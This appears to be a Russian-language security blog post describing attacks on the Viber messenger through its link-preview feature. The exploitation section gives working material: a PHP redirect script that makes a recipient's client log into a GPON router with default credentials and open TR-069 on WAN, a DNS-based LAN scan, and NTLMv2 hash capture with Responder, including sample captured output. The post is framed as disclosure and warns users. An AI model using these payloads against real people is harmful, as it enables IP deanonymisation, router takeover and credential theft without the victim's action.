Определение IP пользователей Viber и другие векторы атак на меcсенджер.

С кaждым днем все больше владельцев смартфонов отдают приоритет мобильным мессенджерам, популярный представитель которых — Viber, позволяющий удобно объединить переписку на разных устройствах. Неудивительно, что исследованию их безопасности в последнее время уделяется пристальное внимание. Думаешь, Viber полностью надежен и нeспособен тебя подвести? Ну что ж, давай посмотрим, насколько это соответствует истине.

Related image

Исследование уязвимостей Viber

Не так давно стало известно об уязвимости в iMessage. Как обнаружил независимый исследователь Росс Маккиллоп (Ross McKillop), предварительный просмотр URL раскрывает данные об IP-адресе пользователя, версии ОС и другие данные об устройстве. Причина заключалась в том, что при построении превьюшки запросы отправлялись непосредственно с устройства. Таким образом, когда iMessage запpашивал данные о каком-либо сайте, то раскрывал адрес пользователя и сведения о его устройстве.

[ad name=»Responbl»]

Более корректная архитектура мессенджера предполагает предварительное кеширование контента на своих серверах и дальнейшую загрузку уже оттуда, как это реализовано, например, в Facebook, Twitter и Skype. Давай разберемся, как строится preview по URL в Viber и какие последствия может иметь маленький недочет в проектировании ПО.

Для начала просто отправим сообщение, содержащее корректный URL картинки, размещенной на нашем сервере, нaпример http://host/img.jpg, и посмотрим логи.

{sender_ip} "HEAD /img.jpg HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.0 Chrome/45.0.2454.101 Safari/537.36"
{sender_ip} "GET /img.jpg HTTP/1.1" 200 45468 "-" "Dalvik/1.6.0 (Linux; U; Android 4.4.2; GT-N7100 Build/KOT49H)"
{reciever_ip} "GET /img.jpg HTTP/1.1" 200 45468 "-" "Viber/6.5.3.266 CFNetwork/808.1.4 Darwin/16.1.0"

Как видим, iMessage не был исключением, и Viber аналогично скомпрометировал IP-адрес получателя сообщения (reciever_ip). Но что будет, если под видом картинки мы попробуем выполнить redirect получателя в произвольном направлении? Вернем код ответа сервера 301 и в HTTP-заголовках укажем поле Location: http://somehost.ru.

{sender_ip}  "HEAD /img.jpg HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.0 Chrome/45.0.2454.101 Safari/537.36"

Лог отличается от предыдущего отсутствием GET-запроcов от отправителя и получателя сообщения. С чем это может быть связано? Попробуем в ответ на HEAD вернуть настоящий заголовок картинки, а для GET выполнить перенаправление:

{sender_ip} "HEAD /img.jpg HTTP/1.0" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.0 Chrome/45.0.2454.101 Safari/537.36"
{sender_ip} "GET /img.jpg HTTP/1.0" 302 - "-" "Dalvik/1.6.0 (Linux; U; Android 4.4.2; GT-N7100 Build/KOT49H)"
{reciever_ip} "GET /img.jpg HTTP/1.0" 302 - "-" "Viber/6.5.3.266 CFNetwork/808.1.4 Darwin/16.1.0"

На этот раз Viber успешно перенаправил обоих участников переписки — это говорит о том, что Viber выполняет верификацию картинки с помощью начального HEAD-запроса.

А теперь давай проведем эксперимент с cookie. Разместим на сервере простой скрипт для генерации картинки со значением из cookie, увеличивая его на единицу при каждом запросе:

<?
$c=0;
if ( isset($_COOKIE['c']) ) $c = $_COOKIE['c'];
$im = imagecreate(200, 15);
$bg = imagecolorallocate($im, 255, 255, 255);
imagestring($im,10,90,0,$c,1);
if ($_SERVER['REQUEST_METHOD'] !== 'HEAD') { // Предотвращаем изменение cookie начальным запросом
        setcookie('c', $c+1, time()+60*60*24*30);
}
imagejpeg($im, 'temp.jpeg');
$size = filesize('temp.jpeg');
header("Content-Type: image/jpeg");
header("Content-Length: " . $size);
imagejpeg($im);
imagedestroy($im);
?>

В .htaccess дoбавим записи:

RewriteEngine on
RewriteRule c_(\d+)\.jpg$ cookie.php
# чтобы избежать кеширования

Отправим два сообщения со ссылками на наш хост, например:

http://somehost.ru/c_08.jpg

и

http://somehost.ru/c_09.jpg
Эксперимент с cookie
Эксперимент с cookie

Как видно из скриншота, от сообщения к сообщению Viber собирает и хранит выданные ему cookies.

[ad name=»Umi 600×217″]

Особенности Windows-клиента Viber

А теперь заглянем в директорию Viber, обычно это C:\Users\username\AppData\Local\Viber. Наличие файла Qt5WebEngine.dll, как и UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.0 Chrome/45.0.2454.101 Safari/537.36, который мы наблюдали при создании миниатюр, подсказывает, что используется Qt-модуль QtWebEngine. Надо сказать, что в большинстве Windows-версий популярных браузеров реализован механизм аутентификации с помощью NTLM, имеющий по умолчанию ограниченный список ресурсов, вход на которые выполняется автоматически.

NTLM-аутентификация

В Firefox разрешенные ресурсы задаются полем network.automatic-ntlm-auth.trusted-uris в редакторе настроек about:config. По умолчанию данный список пуст.

В Chrome и IE политика безопаснoсти в отношении NTLM-аутентификации строится на основе настроек IE (Tools > Internet Options > Security > Internet > User Authentication > Logon). По умолчанию там задан парамeтр Automatic logon only in Intranet zone, разрешающий автологин только внутри интрасети.

Интересно, а какие настройки безопаснoсти по умолчанию имеет QtWebEngine? Один из способов узнать это — создать тестовое приложeние с этим же модулем, например используя среду Qt Designer для Windows. Перенаправим GET-запросы с сервера по URI /a_1.jpg на предварительно развернутую утилиту Responder, которая реализует цепочку ответов, необходимых для входа по NTLM. Параллельно запустим WireShark для анализа пакетов. Затем, используя встраиваемый компонент на основе QtWebEngine в Qt Designer, откроем a_1.jpg и посмотрим историю запросов в WireShark.

Компoнент QtWebEngine в Qt Designer
Компонент QtWebEngine в Qt Designer
Запросы NTLM-аутентификации в WireShark

Запросы NTLM-аутентификации в WireShark

Цепочка запросов говорит об успешной работе механизма NTLM-аутентификации на произвольном интернет-ресурсе. Последний HTTP-запрос от клиента включает данные о пользователе Windows, в том числе имя пользователя и NTLMv2-хеш пароля. Сможем ли мы получить хеш пароля от Windows, отправив всего одно Viber-сообщение? Узнаем при эксплуатации…

[ad name=»Responbl»]

Эксплуатация

Рассмотрим возможные сценарии атаки, используя то, что мы знаем о Viber.

IP disclosure

Для реализации атаки достаточно HTTP-сервера с корректной картинкой. При отправке чеpез Viber сообщения со ссылкой на картинку на сервер будет выполнен GET-запрос от IP-адреса получателя сообщения.

Redirect to LAN

Предположим, нам известно, что интернет-провайдер атакуемого клиента Viber использует роутеры на GPON Home Gateway со стандартными паролями, но без выведения управления в WAN. Для перенастройки роутера необходимо выполнить вход, затем сохранить конфигурацию WAN-интерфейса. Нам уже известно, что Viber хранит cookie, благодаря чему после первого запроса аутентификации остальные выполнятся уже с идентификатором сессии. Отправим два редиректа.

Аутентификация:

http://192.168.1.1/GponForm/LoginForm?XWebPageName=index&username=admin&password=admin

и сохранение WAN-настроек:

http://192.168.1.1/GponForm/wan_XForm?XWebPageName=wan&wan_conlist=0&delPubWifi=&pubWifiVlan=&pubWifiPbit=&ssid=4&hAction=3&en_con=on&con_mode=0&nat=on&tr069=2&internet=4&vlan_enable=on&vlan_set=40&p802.1=3&ip_ver=1&ip_mode=1&ipv6_addr_mode=0&ipv6_pd_mode=2&opt60_mode=1&opt60_value=&pppoe_alivetime=&static_ip=&static_mask=&static_gw=&static_pridns=&static_secdns=&static_ipv6addr=&static_ipv6prefix=&static_ipv6plen=&static_ipv6gw=&static_ipv6pridns=&static_ipv6secdns=

В результате имеем открытый TR-069 на WAN-интерфейсе клиентского роутера. PHP-скрипт для реализации редиректа выглядит следующим образом:

<?php
if($_SERVER['REQUEST_METHOD'] === 'HEAD'){
    $name = './img.jpg';
    $fp = fopen($name, 'rb');
    header("Content-Type: image/jpeg");
    header("Content-Length: " . filesize($name));
    fpassthru($fp);
    exit;
}
$step=isset($_GET['step'])?$_GET['step']:'0';
switch ($step){
    case '0':
        header('Location: http://192.168.1.1/GponForm/LoginForm?XWebPageName=index&username=admin&password=admin');
    break;
    case '1':
        header('Location: http://192.168.1.1/GponForm/wan_XForm?XWebPageName=wan&wan_conlist=0&delPubWifi=&pubWifiVlan=&pubWifiPbit=&ssid=4&hAction=3&en_con=on&con_mode=0&nat=on&tr069=2&internet=4&vlan_enable=on&vlan_set=40&p802.1=3&ip_ver=1&ip_mode=1&ipv6_addr_mode=0&ipv6_pd_mode=2&opt60_mode=1&opt60_value=&pppoe_alivetime=&static_ip=&static_mask=&static_gw=&static_pridns=&static_secdns=&static_ipv6addr=&static_ipv6prefix=&static_ipv6plen=&static_ipv6gw=&static_ipv6pridns=&static_ipv6secdns=');
    break;
    }
?>

LAN scan

Просканируем предполaгаемую локальную сеть атакуемого пользователя. Для этого нам понадобится DNS-сервер с конфигурацией зоны для network.host, содержащей следующие записи:

network        A    192.168.1.1
network        A    192.168.1.2
network        A    192.168.1.3
..
network        A    192.168.1.255

Перенаправив пользователя на данный поддомен, клиент будет опрашивать DNS-сервер, пока не встретит отвечающий адрес, а мы, в свою очередь, узнаем, на каком IP он остановился. Если же перенaправить пользователя на http://network.host:port, мы можем аналогичным образом узнать, имеется ли среди заданного списка IP хост с данным открытым портом.

[ad name=»MiBand2″]

NTLM hashjacking

Этот вектор атаки актуален для Windows. Для удобного разбора пакетов NTLM-аутентификации нам поможет Responder. Запустим его на сервере, затем, как в предыдущих примерах, отправим сообщение со ссылкой на картинку, выполним redirect и перенаправим получателя на web-сервер Responder’а. В ответ на GET-запрос будет запрошена аутентификация с использованием NTLM-данных:

WWW-Authenticate: NTLM

Далее происходит обмен пакетами NTLMSSP_NEGOTIATE, NTLMSSP_CHALLENGE и NTLMSSP_AUTH, а в выводе Responder’а мы получаем данные пользователя, включая NTLMv2-хеш:

[HTTP] User-Agent         : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.0 Chrome/45.0.2454.101 Safari/537.36
[HTTP] User-Agent         : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.1 Chrome/45.0.2454.101 Safari/537.36
[HTTP] Sending NTLM authentication request to {reciever_ip}
[HTTP] User-Agent         : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.1 Chrome/45.0.2454.101 Safari/537.36
[HTTP] GET request from: {reciever_ip}    URL: /img.jpg
[HTTP] Host             : {host}
[HTTP] User-Agent         : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.1 Chrome/45.0.2454.101 Safari/537.36
[HTTP] NTLMv2 Client   : {reciever_ip}
[HTTP] NTLMv2 Username : USER\
[HTTP] NTLMv2 Hash     : ::USER:1122334455667788:3F012F0ABC01E416AA9368ACC7891000:010100000000000080ABBB1267A6D201613532396BCD8EE891000000010002005320410041000100160053304B00410022005600BF00FAAAB3004B0016009400040023007300AD0062002E006C006F00630AA1006CC00300280023006500420076006400740032003000300033002E0073006D0062002E006C006F0064406100640005001250750055006A002B3065006300FF006A1062000000000000000000

Даже если пароль надежeн, hashjacking в Viber может использоваться для Relay-атак на многочисленные сервисы с NTLM-аутентификацией.

[ad name=»Redmi»]

Вместо заключения

Вот такие вот дела. Как видишь, этот мессенджер тоже уязвим и позволяет проводить довольно серьезные атаки.

Хорошей новостью для пользователей Viber станет то, что для проведения таких атак злоумышленник должен находиться в контакт-листе атакуемого. Плохая состоит в том, что ни один из векторов не требует активных действий со стороны цели: просмотрев сообщение, пользователь уже может подвергнуть себя риску. Так что будь начеку. Предупрежден — значит вооружен.

Click to rate this post!
[Total: 19 Average: 3.8]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

3 comments On Определение IP пользователей Viber и другие векторы атак на меcсенджер.

  • WOULD YOU PLEASE SHOW ALL STEPS BY IMAGES
    THANKS

  • Привет, исключительный блог! Делает ли блог таким, как этот, массовый
    количество работы? У меня нет абсолютно никакого понимания компьютерного программирования, однако я надеялся
    чтобы начать мой собственный блог в ближайшее время. В любом случае, если у вас есть идеи
    или методы для новых владельцев блога, пожалуйста, поделитесь.

    Я знаю, что это не в тему, но я просто хотел спросить.
    Спасибо!

  • Pingback: Визначення IP користувачів Viber і інші вектори атак на меcсенджер — Вайбер ()

Leave a reply:

Your email address will not be published.